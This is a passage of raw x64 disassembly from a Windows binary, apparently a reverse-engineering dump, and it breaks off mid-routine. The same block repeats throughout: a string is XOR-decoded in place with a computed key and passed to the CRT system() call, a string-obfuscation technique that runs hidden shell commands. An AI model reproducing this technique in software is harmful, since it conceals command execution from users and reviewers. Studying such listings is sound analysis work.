movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005fa30
cmp r8d, 0x33
jge 0x14005fb64
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005fb30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x12a8]
mov byte [rbp - 0x63], 0
lea rcx, [rbp - 0x63]
call fcn.140054640
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x14005fce4
xor r8d, r8d
cmp edi, 2
jl 0x14005fca5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x14005fbb0
cmp r8d, 0x1c
jge 0x14005fce4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x14005fcb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1cb8]
mov byte [rbp - 0x62], 0
lea rcx, [rbp - 0x62]
call fcn.140054730
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x14005fe64
xor r8d, r8d
cmp edi, 2
jl 0x14005fe25
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005fd30
cmp r8d, 0x29
jge 0x14005fe64
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x14005fe30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1e08]
mov byte [rbp - 0x61], 0
lea rcx, [rbp - 0x61]
call fcn.140054760
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14005ffe4
xor r8d, r8d
cmp edi, 2
jl 0x14005ffa5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005feb0
cmp r8d, 0x2d
jge 0x14005ffe4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x14005ffb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x21b0]
mov byte [rbp - 0x60], 0
lea rcx, [rbp - 0x60]
call fcn.1400547a0
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140060164
xor r8d, r8d
cmp edi, 2
jl 0x140060125
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140060030
cmp r8d, 0x35
jge 0x140060164
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x140060130
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1e38]
mov byte [rbp - 0x5f], 0
lea rcx, [rbp - 0x5f]
call fcn.1400547e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400602e4
xor r8d, r8d
cmp edi, 2
jl 0x1400602a5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x1400601b0
cmp r8d, 0x2d
jge 0x1400602e4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x1400602b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2028]
mov byte [rbp - 0x5e], 0
lea rcx, [rbp - 0x5e]
call fcn.140054820
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140060464
xor r8d, r8d
cmp edi, 2
jl 0x140060425
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140060330
cmp r8d, 0x34
jge 0x140060464
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140060430
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x17b8]
mov byte [rbp - 0x5d], 0
lea rcx, [rbp - 0x5d]
call fcn.140054850
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x1400605e4
xor r8d, r8d
cmp edi, 2
jl 0x1400605a5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400604b0
cmp r8d, 0x21
jge 0x1400605e4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x1400605b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1f58]
mov byte [rbp - 0x5c], 0
lea rcx, [rbp - 0x5c]
call fcn.140054880
mov r10, rax
cmp byte [rax + 0x2f], 0
je 0x140060764
cmp edi, 2
jl 0x14006071f
movdqa xmmword [rbp + 0x810], xmm11
xor edx, edx
mov r8d, dword [rbp + 0x810]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x30
jl 0x140060630
jmp 0x140060764
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x140060730
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1e68]
mov byte [rbp - 0x5b], 0
lea rcx, [rbp - 0x5b]
call fcn.1400547e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400608e4
xor r8d, r8d
cmp edi, 2
jl 0x1400608a5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x1400607b0
cmp r8d, 0x2d
jge 0x1400608e4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x1400608b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2060]
mov byte [rbp - 0x5a], 0
lea rcx, [rbp - 0x5a]
call fcn.1400548b0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140060a64
xor r8d, r8d
cmp edi, 2
jl 0x140060a25
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140060930
cmp r8d, 0x34
jge 0x140060a64
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140060a30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2098]
mov byte [rbp - 0x59], 0
lea rcx, [rbp - 0x59]
call fcn.140054820
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140060be4
xor r8d, r8d
cmp edi, 2
jl 0x140060ba5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140060ab0
cmp r8d, 0x34
jge 0x140060be4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140060bb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x18f8]
mov byte [rbp - 0x58], 0
lea rcx, [rbp - 0x58]
call fcn.1400548e0
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x140060d64
xor r8d, r8d
cmp edi, 2
jl 0x140060d25
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
